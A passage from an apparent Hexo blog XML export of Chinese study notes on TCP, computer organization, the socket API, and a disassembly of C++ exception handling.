RST=1时,必须重新建立连接,还可以拒绝非法报文</p><p>SYN 同步位 SYN=1表示连接请求或连接接受</p><p>FIN 终止位 FIN=1 要求释放连接</p><p>窗口 2B 接收方告诉发送方,允许对方发送从确认号开始,还能接受的数据</p><p>检验和 2B 检验包括首部和数据</p><p>紧急指针 2B 仅在URG=1时使用,表示数据前多少个是紧急数据</p><p>MSS 报文中允许的最大数据长度</p><h3 id="TCP连接"><a href="#TCP连接" class="headerlink" title="TCP连接"></a>TCP连接</h3><p>TCP连接的端点是套接字<ip,port></p><p><img src="/2024/10/13/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/image-20241018155140889.png" alt="image-20241018155140889"></p><p>seq是序号</p><p>前两个报文都会消耗一个序号,由于SYN=1 不能携带数据</p><p>最后一个确认报文可以携带数据,不带则步消耗序号</p><h3 id="TCP-释放"><a href="#TCP-释放" class="headerlink" title="TCP 释放"></a>TCP 释放</h3><p><img src="/2024/10/13/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/image-20241018160508405.png" alt="image-20241018160508405"></p><p>FIN报文即使不带数据也消耗一个序号</p><p>服务器可以立即关闭,但是客户机必须等待2MSL(最长报文寿命)</p><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p><img src="/2024/10/13/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/image-20241018160534035.png" alt="image-20241018160534035"></p><h2 id="TCP流量控制和拥塞控制"><a href="#TCP流量控制和拥塞控制" class="headerlink" title="TCP流量控制和拥塞控制"></a>TCP流量控制和拥塞控制</h2><h3 id="重传"><a href="#重传" class="headerlink" title="重传"></a>重传</h3><p>超时:设置计时器为加权RTT</p><p>冗余确认:TCP规定接收方接收到比期望的序号大的报文时,发送冗余ACK</p><p>例如A->B (1,2,3,4,5) 2丢失,3,4,5到达时B发送对1的确认,此时A立刻重传2,即<strong>快重传</strong></p><h3 id="流量控制"><a href="#流量控制" class="headerlink" title="流量控制"></a>流量控制</h3><p>TCP使用<strong>滑动窗口机制</strong>,接收方告诉发送方自己的接受缓存 rwnd</p><p>TCP若收到零窗口,则设置计时器,超时发送窗口探测报文,若仍为0,则重新启动计时器</p><h2 id="拥塞控制"><a href="#拥塞控制" class="headerlink" title="拥塞控制"></a>拥塞控制</h2><p>为了使网络不发送拥堵,维护拥塞窗口cwnd</p><p>发送窗口=min(rwnd,cwnd)=x</p><h3 id="慢开始"><a href="#慢开始" class="headerlink" title="慢开始"></a>慢开始</h3><p>当cwnd<ssthresh(阈值) cwnd=2^n (n=0,1,2…) 每经过一轮RTT增长一倍</p><p>实际是每收到一个确认cwnd++,因为使用的滑动窗口,所以一次性发x个</p><h3 id="拥塞避免"><a href="#拥塞避免" class="headerlink" title="拥塞避免"></a>拥塞避免</h3><p>cwnd>=ssthresh cwnd++ (RTT)</p><h3 id="拥塞处理"><a href="#拥塞处理" class="headerlink" title="拥塞处理"></a>拥塞处理</h3><p>若出现超时,则将ssthresh设置成当前cwnd的一半,并且cwnd=1慢开始</p><h3 id="快恢复"><a href="#快恢复" class="headerlink" title="快恢复"></a>快恢复</h3><p>收到三个冗余ACK 则ssthresh=cwnd/2 ,cwnd=cwnd/2,使用拥塞避免</p><h1 id="协议端口及其工作层"><a href="#协议端口及其工作层" class="headerlink" title="协议端口及其工作层"></a>协议端口及其工作层</h1><h1 id="单位转换"><a href="#单位转换" class="headerlink" title="单位转换"></a>单位转换</h1><p>速率: K=10^3 M=10^6 G=10^0</p><p>bps=b/s=bit/s</p><p>Bps=B/s=Byte/s</p>]]></content>
<categories>
<category>408</category>
</categories>
<tags>
<tag>408</tag>
</tags>
</entry>
<entry>
<title>计算机组成原理</title>
<link href="/2024/10/12/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/"/>
<url>/2024/10/12/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/</url>
<content type="html"><![CDATA[<h1 id="大纲"><a href="#大纲" class="headerlink" title="大纲"></a>大纲</h1><h1 id="第一章-计算机系统概述"><a href="#第一章-计算机系统概述" class="headerlink" title="第一章 计算机系统概述"></a>第一章 计算机系统概述</h1><h2 id="考纲内容"><a href="#考纲内容" class="headerlink" title="考纲内容"></a>考纲内容</h2><h2 id="计算机系统层次结构"><a href="#计算机系统层次结构" class="headerlink" title="计算机系统层次结构"></a>计算机系统层次结构</h2><h3 id="硬件"><a href="#硬件" class="headerlink" title="硬件"></a>硬件</h3><p>冯诺依曼的五个结构 运算器,存储器,控制器,输入设置,输出设备 其中运算器和控制器组成CPU</p><h3 id="软件"><a href="#软件" class="headerlink" title="软件"></a>软件</h3><p>三级语言结构 机器语言——汇编语言——高级语言</p><h1 id="第二章数据表示与运算"><a href="#第二章数据表示与运算" class="headerlink" title="第二章数据表示与运算"></a>第二章数据表示与运算</h1><h2 id="浮点数的表示与运算"><a href="#浮点数的表示与运算" class="headerlink" title="浮点数的表示与运算"></a>浮点数的表示与运算</h2><h3 id="表示"><a href="#表示" class="headerlink" title="表示"></a>表示</h3><p><img src="/2024/10/12/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/image-20241015154027874.png" alt="image-20241015154027874"></p><p><img src="/2024/10/12/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/image-20241015154144807.png" alt="image-20241015154144807"></p><p>阶码采用移码,尾数一般使用原码小数,R基数,隐含,2/4/16</p><p>规格化</p><p>使有效数字尽可能占满尾数</p><p>规格化后的尾数应该是 0.1xxx 1.1xxx 的形式,基数为2时,最高位一定是1,为4时,最高两位不全为0</p><h4 id="IEE754"><a href="#IEE754" class="headerlink" title="IEE754"></a>IEE754</h4><p><img src="/2024/10/12/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/image-20241015155459642.png" alt="image-20241015155459642"></p><p><img src="/2024/10/12/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/image-20241015155554324.png" alt="image-20241015155554324"></p><p>基数是2,尾数的最高位总是1不需要显示存储,是隐含的,也就是实际尾数是1+原尾数,且尾数是纯小数,比如1.101101 -> 101101(最高的1被隐藏)</p><p><img src="/2024/10/12/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/image-20241015160426572.png" alt="image-20241015160426572"></p><p>阶码全0|1 有特殊含义</p><h3 id="加减计算"><a href="#加减计算" class="headerlink" title="加减计算"></a>加减计算</h3><p>对阶: 使两个浮点数的阶码相同,采用小阶看大阶(小阶增大,尾数右移),右移时尾数移除的位不要丢</p><p>尾数相加减: 按原码加减,IEE754有隐藏位</p><p>尾数规格化:规格化成 +/- 1.xxxxx、</p><h2 id="标志寄存器的各个位"><a href="#标志寄存器的各个位" class="headerlink" title="标志寄存器的各个位"></a>标志寄存器的各个位</h2><p>ZF 零标志 ZF=1 表示结果为0</p><p>OF 溢出标志 判断有符号数是否溢出 OF=符号位进位 异或 最高位进位</p><p>SF 符号标志,表示结果的符号,仅有符号数有意义</p><p>CF 进位/借位标志</p><h2 id="移位运算"><a href="#移位运算" class="headerlink" title="移位运算"></a>移位运算</h2><p>逻辑移位,左右移位均舍弃,左右补0</p><p>算数移位 左移舍弃,补0,右移舍弃,补符号位</p><h2 id="定点乘除法"><a href="#定点乘除法" class="headerlink" title="定点乘除法"></a>定点乘除法</h2><h1 id="第三章-存储器"><a href="#第三章-存储器" class="headerlink" title="第三章 存储器"></a>第三章 存储器</h1><h2 id="高速缓冲存储器-cache"><a href="#高速缓冲存储器-cache" class="headerlink" title="高速缓冲存储器 cache"></a>高速缓冲存储器 cache</h2><p>主存和cache被划分成大小相同的块,同时,每个cache块还应该有标记位,标明是主存的哪个块,和1位有效位</p><h3 id="映射方式"><a href="#映射方式" class="headerlink" title="映射方式"></a>映射方式</h3><h4 id="直接映射"><a href="#直接映射" class="headerlink" title="直接映射"></a>直接映射</h4><p>主存的每个块有个唯一确认的cache号(位置),一个cache块位置对应多个主存块</p><p>冲突概率高,空间利用率低</p><p>cache号=主存块号 mod cache块数</p><p><img src="/2024/10/12/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/image-20241020232926557.png" alt="image-20241020232926557"></p><p>主存地址划分成m(主存块号) b(块内地址),若cache号有c位</p><p>主存块相隔2^c号的块是映射到同一个位置的,因此主存块号低c位就可以找到映射的位置</p><p>同时,一个cache位置则有2^(m-c)个主存块可能映射,因此,标记的位数应该=m-c=t,以此区分主存块号</p><p><img src="/2024/10/12/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/image-20241020234051713.png" alt="image-20241020234051713"></p><h4 id="全相联映射"><a href="#全相联映射" class="headerlink" title="全相联映射"></a>全相联映射</h4><p>主存的每个块可以映射到cache的任何位置</p><p>因此标记位数=主存位数-块内位数=主存块号的位数</p><p><img src="/2024/10/12/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/image-20241020234313082.png" alt="image-20241020234313082"></p><p>标记位数仅和需要区分的主存块数有关</p><h4 id="组相联映射"><a href="#组相联映射" class="headerlink" title="组相联映射"></a>组相联映射</h4><p>cache划分成若干组,每个主存块对应固定的组,但是可以装入组内的任意位置</p><p>组内有r个cache块,则称为r路组相联</p><p>cache 组号=主存块号 mod cache组数</p><p><img src="/2024/10/12/408/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/image-20241020235234338.png" alt="image-20241020235234338"></p><p>主存地址所有位均被使用</p><h1 id="第五章-中央处理器"><a href="#第五章-中央处理器" class="headerlink" title="第五章 中央处理器"></a>第五章 中央处理器</h1><p>单周期CPU CPI=1 每条指令在一个时钟周期内完成</p><h1 id="IO"><a href="#IO" class="headerlink" title="IO"></a>IO</h1><h2 id="DMA"><a href="#DMA" class="headerlink" title="DMA"></a>DMA</h2><p>DMA使用硬件,传输数据不经CPU 与CPU串行</p><h3 id="传输方式"><a href="#传输方式" class="headerlink" title="传输方式"></a>传输方式</h3><p>停CPU访存 DMA工作期间独占总线</p><p>交替访存 CPU工作周期拆一半给DMA访存</p><p>周期挪用 DMA每使用一个存储周期就释放总线给CPU,若冲突,DMA优先(如果CPU在使用,则等待)</p><h1 id="缩写名词解释"><a href="#缩写名词解释" class="headerlink" title="缩写名词解释"></a>缩写名词解释</h1>]]></content>
<categories>
<category>408</category>
</categories>
<tags>
<tag>408</tag>
</tags>
</entry>
<entry>
<title>IO复用</title>
<link href="/2024/07/07/%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8B/IO%E5%A4%8D%E7%94%A8/"/>
<url>/2024/07/07/%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8B/IO%E5%A4%8D%E7%94%A8/</url>
<content type="html"><![CDATA[]]></content>
</entry>
<entry>
<title>网络编程一</title>
<link href="/2024/07/05/%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8B/%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8B%E4%B8%80/"/>
<url>/2024/07/05/%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8B/%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8B%E4%B8%80/</url>
<content type="html"><![CDATA[<h1 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h1><p>五层简化模型</p><ul><li>物理层</li><li>数据链路层</li><li>网络层 IP</li><li>传输层 TCP UDP</li><li>应用层 DNS TCP</li></ul><h1 id="Socket"><a href="#Socket" class="headerlink" title="Socket"></a>Socket</h1><p>Socket(套接字)是网络编程中用于实现不同计算机之间通信的一种编程接口。它为网络应用提供了一个<strong>标准化的接口</strong>,使得程序能够通过网络进行数据交换。Socket可以看作是网络通信的端点,每个Socket实例包含了网络通信的必要信息,如IP地址和端口号。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> <span class="hljs-title function_">socket</span><span class="hljs-params">(<span class="hljs-type">int</span> domain, <span class="hljs-type">int</span> type, <span class="hljs-type">int</span> protocol)</span>;<br></code></pre></td></tr></table></figure><ul><li><p>domain 协议族类型(网络层)</p><p><img src="/%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8B%E4%B8%80/image-20240706171244977.png" alt="image-20240706171244977"></p></li><li><p>type 套接字类型</p></li><li><p>protocol 使用的具体协议</p><p>返回套接字描述符</p></li></ul><p>type 指明数据传输方式 TCP UDP</p><p>大部分情况下protocol传递0,因为前两个参数能决定使用的协议(传输层)</p><p>除非,同一协议族中存在多个数据传输方式相同的协议</p><p><strong>socket本质是在确定网络层和传输层使用的具体协议</strong></p><h1 id="bind"><a href="#bind" class="headerlink" title="bind"></a>bind</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> <span class="hljs-title function_">bind</span><span class="hljs-params">(<span class="hljs-type">int</span> sockfd, <span class="hljs-type">const</span> <span class="hljs-keyword">struct</span> sockaddr *addr, <span class="hljs-type">socklen_t</span> addrlen)</span>;<br></code></pre></td></tr></table></figure><ul><li><code>sockfd</code>:套接字描述符,由 <code>socket</code> 函数返回。</li><li><code>addr</code>:指向 <code>sockaddr</code> 结构体的指针,包含要绑定的 IP 地址和端口号。</li><li><code>addrlen</code>:<code>addr</code> 结构体的大小(以字节为单位)。</li></ul><p>将套接字绑定ip和端口</p><p>成功返回0,失败返回-1</p><h1 id="connect"><a href="#connect" class="headerlink" title="connect"></a>connect</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> <span class="hljs-title function_">connect</span><span class="hljs-params">(<span class="hljs-type">int</span> sockfd, <span class="hljs-type">const</span> <span class="hljs-keyword">struct</span> sockaddr *addr, <span class="hljs-type">socklen_t</span> addrlen)</span>;<br></code></pre></td></tr></table></figure><ul><li><code>sockfd</code>:套接字描述符,由 <code>socket</code> 函数返回。</li><li><code>addr</code>:指向 <code>sockaddr</code> 结构体的指针,包含服务器的 IP 地址和端口号。</li><li><code>addrlen</code>:<code>addr</code> 结构体的大小(以字节为单位)。</li></ul><p><code>connect</code> 函数用于客户端,连接到服务器的 IP 地址和端口号。</p><h1 id="listen"><a href="#listen" class="headerlink" title="listen"></a>listen</h1><p><code>listen</code> 函数用于服务器,使套接字进入监听状态,准备接受客户端连接。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> <span class="hljs-title function_">listen</span><span class="hljs-params">(<span class="hljs-type">int</span> sockfd, <span class="hljs-type">int</span> backlog)</span>;<br></code></pre></td></tr></table></figure><ul><li><code>sockfd</code>:套接字描述符,由 <code>socket</code> 函数返回。</li><li><code>backlog</code>:等待连接队列的最大长度。</li></ul><h1 id="accept"><a href="#accept" class="headerlink" title="accept"></a>accept</h1><p><code>accept</code> 函数用于服务器,接受客户端的连接请求。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> <span class="hljs-title function_">accept</span><span class="hljs-params">(<span class="hljs-type">int</span> sockfd, <span class="hljs-keyword">struct</span> sockaddr *addr, <span class="hljs-type">socklen_t</span> *addrlen)</span>;<br></code></pre></td></tr></table></figure><ul><li><code>sockfd</code>:套接字描述符,由 <code>socket</code> 函数返回,并已调用 <code>bind</code> 和 <code>listen</code>。</li><li><code>addr</code>:指向 <code>sockaddr</code> 结构体的指针,用于接收客户端的 IP 地址和端口号。</li><li><code>addrlen</code>:指向 <code>addr</code> 结构体大小的指针,调用后包含客户端地址的实际大小。</li></ul>]]></content>
<categories>
<category>网络编程</category>
</categories>
<tags>
<tag>网络编程</tag>
</tags>
</entry>
<entry>
<title>深度剖析C++底层机制(linux) 3 异常处理</title>
<link href="/2024/06/28/C++/C-3/"/>
<url>/2024/06/28/C++/C-3/</url>
<content type="html"><![CDATA[<h1 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h1><p>本章主要分析异常的底层机制</p><p>C++标准规定了异常处理的语法,但没用规定异常处理的具体实现(和处理器的架构有关)</p><h1 id="基础知识"><a href="#基础知识" class="headerlink" title="基础知识"></a>基础知识</h1><p>异常处理机制由 try,throw,catch语句组成</p><p><img src="/2024/06/28/C++/C-3/image-20240629221915021.png" alt="image-20240629221915021"></p><h1 id="示例代码"><a href="#示例代码" class="headerlink" title="示例代码"></a>示例代码</h1><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><iostream></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdexcept></span></span><br><br><span class="hljs-function"><span class="hljs-type">void</span> <span class="hljs-title">mightThrow</span><span class="hljs-params">(<span class="hljs-type">int</span> type)</span> </span>{<br> <span class="hljs-keyword">if</span> (type == <span class="hljs-number">1</span>) {<br> <span class="hljs-keyword">throw</span> std::<span class="hljs-built_in">runtime_error</span>(<span class="hljs-string">"A runtime error occurred!"</span>);<br> } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (type == <span class="hljs-number">2</span>) {<br> <span class="hljs-keyword">throw</span> <span class="hljs-number">42</span>; <span class="hljs-comment">// 抛出整型异常</span><br> } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (type == <span class="hljs-number">3</span>) {<br> <span class="hljs-keyword">throw</span> <span class="hljs-string">"A string error occurred!"</span>; <span class="hljs-comment">// 抛出字符串异常</span><br> }<br>}<br><br><span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{<br> <span class="hljs-keyword">try</span> {<br> <span class="hljs-built_in">mightThrow</span>(<span class="hljs-number">2</span>); <span class="hljs-comment">// 改变参数以测试不同的异常类型</span><br> } <span class="hljs-built_in">catch</span> (<span class="hljs-type">const</span> std::runtime_error& e) {<br> std::cout << <span class="hljs-string">"Caught a runtime_error: "</span> << e.<span class="hljs-built_in">what</span>() << std::endl;<br> } <span class="hljs-built_in">catch</span> (...) {<br> std::cout << <span class="hljs-string">"Caught an unknown exception!"</span> << std::endl;<br> }<br><br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br><br></code></pre></td></tr></table></figure><h2 id="main"><a href="#main" class="headerlink" title="main"></a>main</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br></pre></td><td class="code"><pre><code class="hljs assembly">int __cdecl main(int argc, const char **argv, const char **envp)<br>{<br> var_18 = qword ptr -18h<br> var_8 = qword ptr -8<br><br> // __unwind { // __gxx_personality_v0<br> endbr64<br> push rbp<br> mov rbp, rsp<br> push rbx<br> sub rsp, 18h<br> mov edi, 2 // int<br><br> // 2: mightThrow(2);<br> // try {<br> call _Z10mightThrowi // mightThrow(int)<br> // } // starts at 1370<br><br> loc_1375: // CODE XREF: main+8C↓j, main+C6↓j<br> mov eax, 0<br> jmp loc_1457<br><br> // catch(_ZTISt13runtime_error@GLIBCXX_3_4) // owned by 1370<br> // catch(...) // owned by 1370<br> endbr64<br> cmp rdx, 1<br> jnz short loc_13EC<br><br> mov rdi, rax // void *<br> call ___cxa_begin_catch<br><br> mov [rbp+var_18], rax<br> lea rax, aCaughtARuntime // "Caught a runtime_error: "<br> mov rsi, rax<br> lea rax, _ZSt4cout@GLIBCXX_3_4<br> mov rdi, rax<br><br> // try {<br> call __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc // std::operator<<<std::char_traits<char>>(std::ostream &,char const*)<br><br> mov rbx, rax<br> mov rax, [rbp+var_18]<br> mov rax, [rax]<br> add rax, 10h<br> mov rdx, [rax]<br> mov rax, [rbp+var_18]<br> mov rdi, rax<br> call rdx<br><br> mov rsi, rax<br> mov rdi, rbx<br> call __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc // std::operator<<<std::char_traits<char>>(std::ostream &,char const*)<br><br> mov rdx, cs:_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6__ptr<br> mov rsi, rdx<br> mov rdi, rax<br> call __ZNSolsEPFRSoS_E // std::ostream::operator<<(std::ostream & (*)(std::ostream &))<br><br> // } // starts at 13A9<br><br> call ___cxa_end_catch<br><br> jmp short loc_1375<br><br> loc_13EC: // CODE XREF: main+29↑j<br> mov rdi, rax // void *<br> call ___cxa_begin_catch<br><br> lea rax, aCaughtAnUnknow // "Caught an unknown exception!"<br> mov rsi, rax<br> lea rax, _ZSt4cout@GLIBCXX_3_4<br> mov rdi, rax<br><br> // try {<br> call __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc // std::operator<<<std::char_traits<char>>(std::ostream &,char const*)<br><br> mov rdx, cs:_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6__ptr<br> mov rsi, rdx<br> mov rdi, rax<br> call __ZNSolsEPFRSoS_E // std::ostream::operator<<(std::ostream & (*)(std::ostream &))<br><br> // } // starts at 1408<br><br> call ___cxa_end_catch<br><br> jmp loc_1375<br><br> // cleanup() // owned by 13A9<br> endbr64<br> mov rbx, rax<br> call ___cxa_end_catch<br><br> mov rax, rbx<br> mov rdi, rax // struct _Unwind_Exception *<br> call __Unwind_Resume<br><br> // cleanup() // owned by 1408<br> endbr64<br> mov rbx, rax<br> call ___cxa_end_catch<br><br> mov rax, rbx<br> mov rdi, rax // struct _Unwind_Exception *<br> call __Unwind_Resume<br><br> // 3: return 0;<br> loc_1457: // CODE XREF: main+1C↑j<br> mov rbx, [rbp+var_8]<br> leave<br> retn<br>}<br><br></code></pre></td></tr></table></figure><h2 id="mightThrow"><a href="#mightThrow" class="headerlink" title="mightThrow"></a>mightThrow</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br></pre></td><td class="code"><pre><code class="hljs assembly">; void __fastcall mightThrow(int)<br>public _Z10mightThrowi<br>_Z10mightThrowi proc near ; CODE XREF: main+12↓p<br><br>var_14= dword ptr -14h<br><br>; __unwind { // __gxx_personality_v0<br>endbr64<br>push rbp<br>mov rbp, rsp<br>push r12<br>push rbx<br>sub rsp, 10h<br>; 6: switch ( a1 )<br>mov [rbp+var_14], edi<br>cmp [rbp+var_14], 1<br>jnz short loc_12DC<br><br>; 9: exception = (std::runtime_error *)__cxa_allocate_exception(0x10uLL);<br>mov edi, 10h ; thrown_size<br>call ___cxa_allocate_exception<br><br>mov rbx, rax<br>; 10: std::runtime_error::runtime_error(exception, "A runtime error occurred!");<br>lea rax, aARuntimeErrorO ; "A runtime error occurred!"<br>mov rsi, rax ; char *<br>mov rdi, rbx ; this<br>call __ZNSt13runtime_errorC1EPKc ; std::runtime_error::runtime_error(char const*)<br><br>; 11: __cxa_throw(<br>; 12: exception,<br>; 13: (struct type_info *)&`typeinfo for'std::runtime_error,<br>; 14: (void (__fastcall *)(void *))&std::runtime_error::~runtime_error);<br>mov rax, cs:_ZNSt13runtime_errorD1Ev_ptr<br>mov rdx, rax ; void (__fastcall *)(void *)<br>lea rax, _ZTISt13runtime_error@GLIBCXX_3_4<br>mov rsi, rax ; lptinfo<br>mov rdi, rbx ; void *<br>call ___cxa_throw<br><br>loc_12DC: ; CODE XREF: mightThrow(int)+16↑j<br>cmp [rbp+var_14], 2<br>jnz short loc_1309<br><br>; 16: v2 = __cxa_allocate_exception(4uLL);<br>mov edi, 4 ; thrown_size<br>call ___cxa_allocate_exception<br><br>; 17: *v2 = 42;<br>mov dword ptr [rax], 2Ah ; '*'<br>; 18: __cxa_throw(v2, (struct type_info *)&`typeinfo for'int, 0LL);<br>mov edx, 0 ; void (__fastcall *)(void *)<br>lea rcx, _ZTIi@CXXABI_1_3<br>mov rsi, rcx ; lptinfo<br>mov rdi, rax ; void *<br>call ___cxa_throw<br><br>loc_1309: ; CODE XREF: mightThrow(int)+57↑j<br>cmp [rbp+var_14], 3<br>jnz short loc_1354<br><br>; 20: v3 = __cxa_allocate_exception(8uLL);<br>mov edi, 8 ; 